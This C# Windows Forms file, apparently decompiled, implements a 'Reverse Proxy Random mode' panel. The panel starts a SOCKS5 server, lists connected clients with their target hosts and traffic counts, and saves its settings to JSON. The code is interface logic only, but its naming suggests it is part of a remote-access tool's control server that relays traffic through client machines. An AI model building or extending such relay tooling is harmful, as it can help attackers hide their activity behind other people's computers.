using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using MaterialSkin.Controls;
using Newtonsoft.Json;
using Server.Connectings;
using Server.Data;
using Server.Helper;
using Server.Helper.Sock5;

namespace Server.Forms;

public class FormReverseProxyR : FormMaterial
{
	public bool work;

	public global::Server.Helper.Sock5.Server Server = new global::Server.Helper.Sock5.Server(new List<Clients>());

	private IContainer components;

	public RJButton rjButton1;

	public DataGridView GridIps;

	private DataGridViewTextBoxColumn ColumnClient;

	private DataGridViewTextBoxColumn ColumnTarget;

	private DataGridViewTextBoxColumn ColumnTargetPort;

	private DataGridViewTextBoxColumn ColumnTotalRecived;

	private DataGridViewTextBoxColumn ColumnTotalSent;

	private Panel panel1;

	public RJTextBox rjTextBox1;

	public RJButton rjButton2;

	private Timer timer1;

	public MaterialSwitch materialSwitch2;

	public FormReverseProxyR()
	{
		InitializeComponent();
		base.FormClosing += Closing1;
	}

	private void NewItem(Client client)
	{
		try
		{
			client.Tag = new DataGridViewRow();
			((DataGridViewRow)client.Tag).Tag = client;
			((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
			{
				Value = client.ClientReverse.IP
			});
			((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
			{
				Value = client.IPAddress
			});
			((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
			{
				Value = client.Port
			});
			((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
			{
				Value = Methods.BytesToString(client.Recives)
			});
			((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
			{
				Value = Methods.BytesToString(client.Sents)
			});
			Invoke((MethodInvoker)delegate
			{
				GridIps.Rows.Add((DataGridViewRow)client.Tag);
			});
		}
		catch
		{
		}
	}

	private void RemoveItem(Client client)
	{
		if (client.Tag == null)
		{
			return;
		}
		try
		{
			Invoke((MethodInvoker)delegate
			{
				GridIps.Rows.Remove((DataGridViewRow)client.Tag);
			});
			((DataGridViewRow)client.Tag).Dispose();
		}
		catch
		{
		}
	}

	private void EditItem(Client client, long sent, long recive)
	{
		if (client.Tag != null)
		{
			try
			{
				((DataGridViewRow)client.Tag).Cells[0].Value = client.ClientReverse.IP;
				((DataGridViewRow)client.Tag).Cells[1].Value = client.IPAddress;
				((DataGridViewRow)client.Tag).Cells[2].Value = client.Port;
				((DataGridViewRow)client.Tag).Cells[3].Value = Methods.BytesToString(client.Recives);
				((DataGridViewRow)client.Tag).Cells[4].Value = Methods.BytesToString(client.Sents);
			}
			catch
			{
			}
		}
	}

	private void RemoteDesktop_Load(object sender, EventArgs e)
	{
		if (!Directory.Exists("local"))
		{
			Directory.CreateDirectory("local");
		}
		MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
		ChangeScheme(this);
		if (File.Exists("local\\ReverseProxyR.json"))
		{
			ReverseProxyR reverseProxyR = JsonConvert.DeserializeObject<ReverseProxyR>(File.ReadAllText("local\\ReverseProxyR.json"));
			rjTextBox1.Texts = reverseProxyR.Port;
			materialSwitch2.Checked = reverseProxyR.AutoStart;
			if (reverseProxyR.AutoStart)
			{
				try
				{
					Convert.ToInt32(rjTextBox1.Texts);
				}
				catch
				{
					return;
				}
				Server.Start(Convert.ToInt32(rjTextBox1.Texts));
				rjButton1.Text = "Stop";
				work = true;
			}
		}
		timer1.Start();
		Server.ConnectEvent += NewItem;
		Server.DisconnectEvent += RemoveItem;
		Server.ResponceEvent += EditItem;
	}

	private void ChangeScheme(object sender)
	{
		GridIps.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
		GridIps.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
		GridIps.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
		GridIps.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
		rjTextBox1.BorderColor = FormMaterial.PrimaryColor;
		rjButton1.BackColor = FormMaterial.PrimaryColor;
		rjButton2.BackColor = FormMaterial.PrimaryColor;
	}

	private void Save()
	{
		ReverseProxyR reverseProxyR = new ReverseProxyR();
		reverseProxyR.Port = rjTextBox1.Texts;
		reverseProxyR.AutoStart = materialSwitch2.Checked;
		File.WriteAllText("local\\ReverseProxyR.json", JsonConvert.SerializeObject(reverseProxyR, Formatting.Indented));
	}

	private void rjButton1_Click(object sender, EventArgs e)
	{
		Save();
		if (rjButton1.Text == "Start")
		{
			try
			{
				Convert.ToInt32(rjTextBox1.Texts);
			}
			catch
			{
				return;
			}
			Server.Start(Convert.ToInt32(rjTextBox1.Texts));
			rjButton1.Text = "Stop";
		}
		else
		{
			Server.Stop();
			GridIps.Rows.Clear();
			rjButton1.Text = "Start";
		}
	}

	private void Closing1(object sender, FormClosingEventArgs e)
	{
		work = false;
		Clients[] array = Server.ClientReverse.ToArray();
		foreach (Clients client in array)
		{
			Task.Run(delegate
			{
				client.Disconnect();
			});
		}
		Server.ClientReverse.Clear();
		GridIps.Rows.Clear();
		timer1.Stop();
		if (rjButton1.Text == "Stop")
		{
			rjButton1.Text = "Start";
			Server.Stop();
		}
		Save();
		e.Cancel = true;
		Hide();
	}

	private void rjButton2_Click(object sender, EventArgs e)
	{
		Hide();
	}

	private void timer1_Tick_1(object sender, EventArgs e)
	{
		Text = $"Reverse Proxy Random mode [{Server.ClientReverse.Count}]";
	}

	private void materialSwitch2_CheckedChanged(object sender, EventArgs e)
	{
		Save();
	}

	protected override void Dispose(bool disposing)
	{
		if (disposing && components != null)
		{
			components.Dispose();
		}
		base.Dispose(disposing);
	}

	private void InitializeComponent()
	{
		this.components = new System.ComponentModel.Container();
		System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
		System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
		System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
		System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormReverseProxyR));
		this.rjTextBox1 = new CustomControls.RJControls.RJTextBox();
		this.rjButton1 = new CustomControls.RJControls.RJButton();
		this.GridIps = new System.Windows.Forms.DataGridView();
		this.ColumnClient = new System.Windows.Forms.DataGridViewTextBoxColumn();
		this.ColumnTarget = new System.Windows.Forms.DataGridViewTextBoxColumn();
		this.ColumnTargetPort = new System.Windows.Forms.DataGridViewTextBoxColumn();
		this.ColumnTotalRecived = new System.Windows.Forms.DataGridViewTextBoxColumn();
		this.ColumnTotalSent = new System.Windows.Forms.DataGridViewTextBoxColumn();
		this.panel1 = new System.Windows.Forms.Panel();
		this.materialSwitch2 = new MaterialSkin.Controls.MaterialSwitch();
		this.rjButton2 = new CustomControls.RJControls.RJButton();
		this.timer1 = new System.Windows.Forms.Timer(this.components);
		((System.ComponentModel.ISupportInitialize)this.GridIps).BeginInit();
		this.panel1.SuspendLayout();
		base.SuspendLayout();
		this.rjTextBox1.BackColor = System.Drawing.Color.White;
		this.rjTextBox1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
		this.rjTextBox1.BorderFocusColor = System.Drawing.Color.Yellow;
		this.rjTextBox1.BorderRadius = 0;
		this.rjTextBox1.BorderSize = 1;
		this.rjTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
		this.rjTextBox1.ForeColor = System.Drawing.Color.Black;
		this.rjTextBox1.Location = new System.Drawing.Point(7, 69);
		this.rjTextBox1.Margin = new System.Windows.Forms.Padding(4);
		this.rjTextBox1.Multiline = false;
		this.rjTextBox1.Name = "rjTextBox1";
		this.rjTextBox1.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
		this.rjTextBox1.PasswordChar = false;
		this.rjTextBox1.PlaceholderColor = System.Drawing.Color.DarkGray;
		this.rjTextBox1.PlaceholderText = "Port";
		this.rjTextBox1.Size = new System.Drawing.Size(92, 28);
		this.rjTextBox1.TabIndex = 2;
		this.rjTextBox1.Texts = "3128";
		this.rjTextBox1.UnderlinedStyle = false;
		this.rjButton1.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
		this.rjButton1.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
		this.rjButton1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
		this.rjButton1.BorderRadius = 0;
		this.rjButton1.BorderSize = 0;
		this.rjButton1.FlatAppearance.BorderSize = 0;
		this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
		this.rjButton1.ForeColor = System.Drawing.Color.White;
		this.rjButton1.Location = new System.Drawing.Point(106, 69);
		this.rjButton1.Name = "rjButton1";
		this.rjButton1.Size = new System.Drawing.Size(92, 27);
		this.rjButton1.TabIndex = 3;
		this.rjButton1.Text = "Start";
		this.rjButton1.TextColor = System.Drawing.Color.White;
		this.rjButton1.UseVisualStyleBackColor = false;
		this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
		this.GridIps.AllowUserToAddRows = false;
		this.GridIps.AllowUserToDeleteRows = false;
		this.GridIps.AllowUserToResizeColumns = false;
		this.GridIps.AllowUserToResizeRows = false;
		this.GridIps.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
		this.GridIps.BackgroundColor = System.Drawing.Color.White;
		this.GridIps.BorderStyle = System.Windows.Forms.BorderStyle.None;
		this.GridIps.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
		this.GridIps.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
		dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
		dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
		dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
		dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
		dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
		dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
		dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
		this.GridIps.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
		this.GridIps.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
		this.GridIps.Columns.AddRange(this.ColumnClient, this.ColumnTarget, this.ColumnTargetPort, this.ColumnTotalRecived, this.ColumnTotalSent);
		this.GridIps.Cursor = System.Windows.Forms.Cursors.Default;
		dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
		dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
		dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
		dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
		dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
		dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
		dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
		this.GridIps.DefaultCellStyle = dataGridViewCellStyle2;
		this.GridIps.EnableHeadersVisualStyles = false;
		this.GridIps.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
		this.GridIps.Location = new System.Drawing.Point(6, 104);
		this.GridIps.Name = "GridIps";
		this.GridIps.ReadOnly = true;
		this.GridIps.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
		dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
		dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
		dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
		dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
		dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
		dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
		dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
		dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
		this.GridIps.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
		this.GridIps.RowHeadersVisible = false;
		this.GridIps.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
		this.GridIps.ShowCellErrors = false;
		this.GridIps.ShowCellToolTips = false;
		this.GridIps.ShowEditingIcon = false;
		this.GridIps.ShowRowErrors = false;
		this.GridIps.Size = new System.Drawing.Size(742, 392);
		this.GridIps.TabIndex = 14;
		this.ColumnClient.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
		this.ColumnClient.HeaderText = "Client";
		this.ColumnClient.MinimumWidth = 80;
		this.ColumnClient.Name = "ColumnClient";
		this.ColumnClient.ReadOnly = true;
		this.ColumnClient.Width = 80;
		this.ColumnTarget.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
		this.ColumnTarget.HeaderText = "Target";
		this.ColumnTarget.MinimumWidth = 80;
		this.ColumnTarget.Name = "ColumnTarget";
		this.ColumnTarget.ReadOnly = true;
		this.ColumnTarget.Width = 80;
		this.ColumnTargetPort.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
		this.ColumnTargetPort.HeaderText = "Target Port";
		this.ColumnTargetPort.MinimumWidth = 120;
		this.ColumnTargetPort.Name = "ColumnTargetPort";
		this.ColumnTargetPort.ReadOnly = true;
		this.ColumnTargetPort.Width = 120;
		this.ColumnTotalRecived.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
		this.ColumnTotalRecived.HeaderText = "Total Recived";
		this.ColumnTotalRecived.MinimumWidth = 120;
		this.ColumnTotalRecived.Name = "ColumnTotalRecived";
		this.ColumnTotalRecived.ReadOnly = true;
		this.ColumnTotalRecived.Width = 120;
		this.ColumnTotalSent.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
		this.ColumnTotalSent.HeaderText = "Total Sent";
		this.ColumnTotalSent.Name = "ColumnTotalSent";
		this.ColumnTotalSent.ReadOnly = true;
		this.panel1.BackColor = System.Drawing.Color.White;
		this.panel1.Controls.Add(this.materialSwitch2);
		this.panel1.Controls.Add(this.rjButton2);
		this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
		this.panel1.Location = new System.Drawing.Point(3, 64);
		this.panel1.Name = "panel1";
		this.panel1.Size = new System.Drawing.Size(749, 435);
		this.panel1.TabIndex = 15;
		this.materialSwitch2.AutoSize = true;
		this.materialSwitch2.Depth = 0;
		this.materialSwitch2.Location = new System.Drawing.Point(296, 2);
		this.materialSwitch2.Margin = new System.Windows.Forms.Padding(0);
		this.materialSwitch2.MouseLocation = new System.Drawing.Point(-1, -1);
		this.materialSwitch2.MouseState = MaterialSkin.MouseState.HOVER;
		this.materialSwitch2.Name = "materialSwitch2";
		this.materialSwitch2.Ripple = true;
		this.materialSwitch2.Size = new System.Drawing.Size(129, 37);
		this.materialSwitch2.TabIndex = 16;
		this.materialSwitch2.Text = "Auto Start";
		this.materialSwitch2.UseVisualStyleBackColor = true;
		this.materialSwitch2.CheckedChanged += new System.EventHandler(materialSwitch2_CheckedChanged);
		this.rjButton2.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
		this.rjButton2.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
		this.rjButton2.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
		this.rjButton2.BorderRadius = 0;
		this.rjButton2.BorderSize = 0;
		this.rjButton2.FlatAppearance.BorderSize = 0;
		this.rjButton2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
		this.rjButton2.ForeColor = System.Drawing.Color.White;
		this.rjButton2.Location = new System.Drawing.Point(201, 5);
		this.rjButton2.Name = "rjButton2";
		this.rjButton2.Size = new System.Drawing.Size(92, 27);
		this.rjButton2.TabIndex = 16;
		this.rjButton2.Text = "Hide";
		this.rjButton2.TextColor = System.Drawing.Color.White;
		this.rjButton2.UseVisualStyleBackColor = false;
		this.rjButton2.Click += new System.EventHandler(rjButton2_Click);
		this.timer1.Interval = 1000;
		this.timer1.Tick += new System.EventHandler(timer1_Tick_1);
		base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
		base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
		this.BackColor = System.Drawing.Color.White;
		base.ClientSize = new System.Drawing.Size(755, 502);
		base.Controls.Add(this.GridIps);
		base.Controls.Add(this.rjTextBox1);
		base.Controls.Add(this.rjButton1);
		base.Controls.Add(this.panel1);
		base.Icon = (System.Drawing.Icon)resources.GetObject("$this.Icon");
		this.MinimumSize = new System.Drawing.Size(560, 443);
		base.Name = "FormReverseProxyR";
		this.Text = "Reverse Proxy Random mode [0]";
		base.Load += new System.EventHandler(RemoteDesktop_Load);
		((System.ComponentModel.ISupportInitialize)this.GridIps).EndInit();
		this.panel1.ResumeLayout(false);
		this.panel1.PerformLayout();
		base.ResumeLayout(false);
	}
}
